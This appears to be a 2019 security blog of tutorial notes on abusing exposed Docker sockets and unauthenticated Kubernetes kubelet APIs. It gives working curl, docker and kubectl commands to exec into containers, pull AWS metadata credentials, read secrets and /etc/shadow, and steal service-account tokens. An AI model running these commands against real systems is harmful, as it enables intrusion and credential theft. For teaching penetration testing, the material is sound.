Friday, February 1, 2019

Abusing Docker API | Socket

Notes on abusing open Docker sockets

This wont cover breaking out of docker containers

Ports: usually 2375 & 2376 but can be anything

Refs:

https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0
https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way
https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html
https://infoslack.com/devops/exploring-docker-remote-api
https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/
https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
https://www.exploit-db.com/exploits/42356
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb
http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html
https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/
https://blog.ropnop.com/plundering-docker-images/


Enable docker socket (Create practice locations)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

Having the docker API | socket exposed is essentially granting root to any of the containers on the system

The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.

The docker socket  is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.

All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:

Create a nginx container

The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.

$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

Start the container

 $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

As mentioned above you can also have the docker socket listen on a TCP port

You can validate it's docker by hitting it with a version request

 $ curl -s http://open.docker.socket:2375/version | jq

{

  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

 or with the docker client

docker -H  open.docker.socket:2375 version

 Server:

 Engine:
  Version:          1.13.1
  API version:      1.26 (minimum version 1.12)
  Go version:       go1.9.4
  Git commit:       07f3374/1.13.1
  Built:            Fri Dec  7 16:13:51 2018
  OS/Arch:          linux/amd64
  Experimental:     false


This is basically a shell into the container

Get a list of running containers with the ps command

docker -H  open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                               COMMAND                  CREATED             STATUS              PORTS                                           NAMES

72cd30d28e5c        gogs/gogs                                           "/app/gogs/docker/st…"   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp   gogs
b522a9034b30        jdk1.8                                              "/bin/bash"              5 days ago          Up 5 days                                                           myjdk8
0f5947860c17        centos/mysql-57-centos7                             "container-entrypoin…"   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                          mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT   "java -jar /app.jar"     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                        config
3f466b754971        42cb59080921                                        "/bin/bash"              8 days ago          Up 8 days                                                           jdk8
6499013fdc2d        registry                                            "/entrypoint.sh /etc…"   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                          registry


Exec into one of the containers

docker -H  open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami

mysql


Other commands

Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a

What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images


I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API.  The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.


Using curl to hit the API

Sometimes you'll see 2376 up for the TLS endpoint.  I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.


Docker socket to metadata URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec


Below is an example of hitting the internal AWS metadata URL and getting the output

list containers:

curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
      "/docker_snip_1"
    ],
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 443,
        "PublicPort": 50278,
---SNIP---


List processes in a container:

curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq

 {
  "Processes": [
    [
      "smss.exe",
      "7868",
      "00:00:00.062",
      "225.3kB"
    ],
    [
      "csrss.exe",
      "10980",
      "00:00:00.859",
      "421.9kB"
    ],
    [
      "wininit.exe",
      "10536",
      "00:00:00.078",
      "606.2kB"
    ],
    [
      "services.exe",
      "10768",
      "00:00:00.687",
      "1.208MB"
    ],
    [
      "lsass.exe",
      "10416",
      "00:00:36.000",
      "4.325MB"
    ],
 ---SNIP---


Set up and exec job to hit the metadata URL:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}


Get the output:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

{

  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"
}


 Docker secrets
 relevant reading https://docs.docker.com/engine/swarm/secrets/


 list secrets (no secrets/swarm not set up)

 curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

 { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

 list secrets (they exist)

 $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
 [
  {
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21
    },

    "CreatedAt": "2018-07-06T10:19:50.677702428Z",

    "UpdatedAt": "2018-07-06T10:19:50.677702428Z",
    "Spec": {
      "Name": "registry-key.key",
      "Labels": {} }},

Check what is mounted

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

 {"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}



Get the output by starting the exec

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

overlay on / type overlay 

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---

Cat the mounted secret

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

 {"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}


 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'


 -----BEGIN RSA PRIVATE KEY-----

MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---


If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables

 curl -s --insecure https://tls-opendocker.socket:2376/services | jq

 [{

    "ID": "amxjs243dzmlc8vgukxdsx57y",
    "Version": {
      "Index": 6417
    },
    "CreatedAt": "2018-04-16T19:51:20.489851317Z",
    "UpdatedAt": "2018-12-07T13:44:36.6869673Z",
    "Spec": {
      "Name": "app_REMOVED",
      "Labels": {},
      "TaskTemplate": {
        "ContainerSpec": {
          "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",
          "Env": [
            "PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com",
            "PGADMIN_DEFAULT_PASSWORD=REMOVED"
          ],
          "Isolation": "default"


 Creating a container that has mounted the host file system

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

{"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null}



curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test


Read something from the host


curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'


{"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"}


curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'


root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::

daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::


Cleanup

Stop the container

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

delete stopped containers

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune



Wednesday, January 16, 2019

Kubernetes: Kube-Hunter 10255

Below is some sample output that mainly is here to see what open 10255 will give you and look like.  What probably of most interest is the /pods endpoint




or the /metrics endpoint



or the /stats endpoint




$ ./kube-hunter.py
Choose one of the options below:
1. Remote scanning      (scans one or more specific IPs or DNS names)
2. Subnet scanning      (scans subnets on all local network interfaces)
3. IP range scanning    (scans a given IP range)
Your choice: 1
Remotes (separated by a ','): 1.2.3.4
~ Started
~ Discovering Open Kubernetes Services...
|
| Etcd:
|   type: open service
|   service: Etcd
|_  host: 1.2.3.4:2379
|
| API Server:
|   type: open service
|   service: API Server
|_  host: 1.2.3.4:443
|
| API Server:
|   type: open service
|   service: API Server
|_  host: 1.2.3.4:6443
|
| Etcd Remote version disclosure:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote version disclosure might give an
|_    attacker a valuable data to attack a cluster
|
| Etcd is accessible using insecure connection (HTTP):
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Etcd is accessible using HTTP (without
|     authorization and authentication), it would allow a
|     potential attacker to
|     gain access to
|_    the etcd
|
| Kubelet API (readonly):
|   type: open service
|   service: Kubelet API (readonly)
|_  host: 1.2.3.4:10255
|
| Etcd Remote Read Access Event:
|   type: vulnerability
|   host: 1.2.3.4:2379
|   description:
|     Remote read access might expose to an
|_    attacker cluster's possible exploits, secrets and more.
|
| K8s Version Disclosure:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     The kubernetes version could be obtained
|_    from logs in the /metrics endpoint
|
| Privileged Container:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     A Privileged container exist on a node.
|     could expose the node/cluster to unwanted root
|_    operations
|
| Cluster Health Disclosure:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     By accessing the open /healthz handler, an
|     attacker could get the cluster health state without
|_    authenticating
|
| Exposed Pods:
|   type: vulnerability
|   host: 1.2.3.4:10255
|   description:
|     An attacker could view sensitive information
|     about pods that are bound to a Node using
|_    the /pods endpoint

----------

Nodes
+-------------+---------------+
| TYPE        | LOCATION      |
+-------------+---------------+
| Node/Master | 1.2.3.4    |
+-------------+---------------+

Detected Services
+----------------------+---------------------+----------------------+
| SERVICE              | LOCATION            | DESCRIPTION          |
+----------------------+---------------------+----------------------+
| Kubelet API          | 1.2.3.4:10255       | The read-only port   |
| (readonly)           |                     | on the kubelet       |
|                      |                     | serves health        |
|                      |                     | probing endpoints,   |
|                      |                     | and is relied upon   |
|                      |                     | by many kubernetes   |
|                      |                     | componenets          |
+----------------------+---------------------+----------------------+
| Etcd                 | 1.2.3.4:2379        | Etcd is a DB that    |
|                      |                     | stores cluster's     |
|                      |                     | data, it contains    |
|                      |                     | configuration and    |
|                      |                     | current state        |
|                      |                     | information, and     |
|                      |                     | might contain        |
|                      |                     | secrets              |
+----------------------+---------------------+----------------------+
| API Server           | 1.2.3.4:6443        | The API server is in |
|                      |                     | charge of all        |
|                      |                     | operations on the    |
|                      |                     | cluster.             |
+----------------------+---------------------+----------------------+
| API Server           | 1.2.3.4:443         | The API server is in |
|                      |                     | charge of all        |
|                      |                     | operations on the    |
|                      |                     | cluster.             |
+----------------------+---------------------+----------------------+

Vulnerabilities
+---------------------+----------------------+----------------------+----------------------+----------------------+
| LOCATION            | CATEGORY             | VULNERABILITY        | DESCRIPTION          | EVIDENCE             |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:2379        | Unauthenticated      | Etcd is accessible   | Etcd is accessible   | {"etcdserver":"2.3.8 |
|                     | Access               | using insecure       | using HTTP (without  | ","etcdcluster":"2.3 |
|                     |                      | connection (HTTP)    | authorization and    | ...                  |
|                     |                      |                      | authentication), it  |                      |
|                     |                      |                      | would allow a        |                      |
|                     |                      |                      | potential attacker   |                      |
|                     |                      |                      | to                   |                      |
|                     |                      |                      |      gain access to  |                      |
|                     |                      |                      | the etcd             |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:2379        | Information          | Etcd Remote version  | Remote version       | {"etcdserver":"2.3.8 |
|                     | Disclosure           | disclosure           | disclosure might     | ","etcdcluster":"2.3 |
|                     |                      |                      | give an attacker a   | ...                  |
|                     |                      |                      | valuable data to     |                      |
|                     |                      |                      | attack a cluster     |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Information          | K8s Version          | The kubernetes       | v1.5.6-rc17          |
|                     | Disclosure           | Disclosure           | version could be     |                      |
|                     |                      |                      | obtained from logs   |                      |
|                     |                      |                      | in the /metrics      |                      |
|                     |                      |                      | endpoint             |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Information          | Exposed Pods         | An attacker could    | count: 68            |
|                     | Disclosure           |                      | view sensitive       |                      |
|                     |                      |                      | information about    |                      |
|                     |                      |                      | pods that are bound  |                      |
|                     |                      |                      | to a Node using the  |                      |
|                     |                      |                      | /pods endpoint       |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Information          | Cluster Health       | By accessing the     | status: ok           |
|                     | Disclosure           | Disclosure           | open /healthz        |                      |
|                     |                      |                      | handler, an attacker |                      |
|                     |                      |                      | could get the        |                      |
|                     |                      |                      | cluster health state |                      |
|                     |                      |                      | without              |                      |
|                     |                      |                      | authenticating       |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:2379        | Access Risk          | Etcd Remote Read     | Remote read access   | {"action":"get","nod |
|                     |                      | Access Event         | might expose to an   | e":{"dir":true,"node |
|                     |                      |                      | attacker cluster's   | ...                  |
|                     |                      |                      | possible exploits,   |                      |
|                     |                      |                      | secrets and more.    |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 1.2.3.4:10255       | Access Risk          | Privileged Container | A Privileged         | pod: node-exporter-  |
|                     |                      |                      | container exist on a | 1fmd9-z9685,         |
|                     |                      |                      | node. could expose   | containe...          |
|                     |                      |                      | the node/cluster to  |                      |
|                     |                      |                      | unwanted root        |                      |
|                     |                      |                      | operations           |                      |
+---------------------+----------------------+----------------------+----------------------+----------------------+

Kubernetes: unauth kublet API 10250 token theft & kubectl

Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & exec


kube-hunter output to get us started:

do a curl -s https://k8-node:10250/runningpods/ to get a list of running pods

With that data, you can craft your post request to exec within a pod so we can poke around.

 Example request:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

Output:
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  134 root     root             0 Nov  9 16:27 proc
drwx------    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var

Check the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:
1. the mounted folder
2. the cloud metadata url

Check the env with the following command:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.


We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:

KUBERNETES_PORT=tcp://10.10.10.10:443

or

KUBERNETES_MASTER_NAME: 10.11.12.13:443

Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them.  This may be (if we are lucky) another public IP or a 10. IP.  If it's a 10. IP we need to download kubectl to the pod.

Assuming it's not in the environment variables let's look and see if they are there in the mounted secrets

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"

sample output truncated:
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

We can then cat out the ca.cert, namespace, and token

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"

Output:

total 4
drwxrwxrwt    3 root     root         140 Nov  9 16:27 .
drwxr-xr-x    3 root     root        4.0K Nov  9 16:27 ..
lrwxrwxrwx    1 root     root          13 Nov  9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root          16 Nov  9 16:27 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root          12 Nov  9 16:27 token -> ..data/token

and then:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

output:

eyJhbGciOiJSUzI1NiI---SNIP---

Also grab the ca.crt :-)

With the token, ca.crt and api server IP address we can issue commands with kubectl.

$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces

Output:

NAMESPACE     NAME                                                            READY     STATUS    RESTARTS   AGE
kube-system   event-exporter-v0.1.9-5c-SNIP                          2/2       Running   2          120d
kube-system   fluentd-cloud-logging-gke-eeme-api-default-pool   1/1       Running   1          2y
kube-system   heapster-v1.5.2-5-SNIP                              3/3       Running   0          27d
kube-system   kube-dns-5b8-SNIP                                       4/4       Running   0          61d
kube-system   kube-dns-autoscaler-2-SNIP                             1/1       Running   1          252d
kube-system   kube-proxy-gke-eeme-api-default-pool              1/1       Running   1          2y 
kube-system   kubernetes-dashboard-7-SNIP                           1/1       Running   0          27d
kube-system   l7-default-backend-10-SNIP                            1/1       Running   0          27d
kube-system   metrics-server-v0.2.1-7-SNIP                         2/2       Running   0          120d

at this point you can pull secrets or exec into any available pods

$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces

to get a shell via kubectl

$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --namespace=kube-system

NAME                                                            READY     STATUS    RESTARTS   AGE
event-exporter-v0.1.9-5-SNIP               2/2       Running   2          120d
--SNIP--
metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d

$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system--server=https://1.2.3.4  --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh

/ # ls -lah
total 40220
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 .
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 ..
-rwxr-xr-x    1 root     root           0 Sep 11 07:25 .dockerenv
drwxr-xr-x    3 root     root        4.0K Sep 11 07:25 apiserver.local.config
drwxr-xr-x    2 root     root       12.0K Sep 11 07:24 bin
drwxr-xr-x    5 root     root         380 Sep 11 07:25 dev
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 etc
drwxr-xr-x    2 nobody   nogroup     4.0K Nov  1  2017 home
-rwxr-xr-x    2 root     root       39.2M Dec 20  2017 metrics-server
dr-xr-xr-x  135 root     root           0 Sep 11 07:25 proc
drwxr-xr-x    1 root     root        4.0K Dec 19 21:33 root
dr-xr-xr-x   12 root     root           0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root        4.0K Oct 18 13:57 tmp
drwxr-xr-x    3 root     root        4.0K Sep 11 07:24 usr
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 var

For completeness if you got the keys via the environment variables the kubectl command would be something like this:

kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces